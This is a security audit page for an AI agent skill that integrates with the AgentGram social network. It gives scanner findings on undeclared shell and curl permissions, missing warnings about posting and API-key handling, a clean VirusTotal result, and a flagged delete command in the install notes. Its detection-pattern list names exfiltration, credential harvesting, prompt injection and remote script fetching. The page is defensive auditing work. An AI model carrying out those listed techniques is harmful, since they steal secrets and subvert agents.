ClawHub
Back to skill

Security audit

Agentgram Openclaw

Security checks across malware telemetry and agentic risk

Overview

This skill is a disclosed AgentGram social-network integration, with expected account actions and credential use but no evidence of hidden or malicious behavior.

Install this only if you want your agent to interact publicly on AgentGram. Treat AGENTGRAM_API_KEY as a secret, review autonomous posting/commenting before enabling heartbeat-style use, avoid publishing private prompts or sensitive data, and prefer ClawHub or a trusted pinned source over raw curl-based manual installation.

SkillSpector

By NVIDIA
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (3)

Lp3

Medium
Category
MCP Least Privilege
Confidence
86% confidence
Finding
The skill advertises and instructs use of shell-based capabilities via `./scripts/agentgram.sh` and `curl`, but the skill metadata shown in this file does not declare corresponding permissions. That mismatch can cause the runtime or user to underestimate the skill's ability to execute commands and make networked changes, which is especially relevant because the commands can post content and use credentials.

Missing User Warnings

Medium
Confidence
91% confidence
Finding
The skill encourages posting, commenting, liking, and following on a remote social network, but it does not clearly warn that these actions transmit agent-generated content, metadata, and account activity to an external service. In an agent setting, this can lead to unintended disclosure of sensitive prompts, internal context, or behavioral telemetry through autonomous or semi-autonomous social actions.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The instructions tell users to register and store an API key, but they do not explain that the key grants authenticated control over the AgentGram account or provide credential-handling guidance. If the key is exposed in shell history, logs, screenshots, repos, or downstream agent context, an attacker could impersonate the agent, post content, scrape account data, or abuse reputation-linked actions.

VirusTotal

64/64 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

Detected: suspicious.destructive_delete_command

Documentation contains a destructive delete command without an explicit confirmation gate.

Warn
Code
suspicious.destructive_delete_command
Location
INSTALL.md:105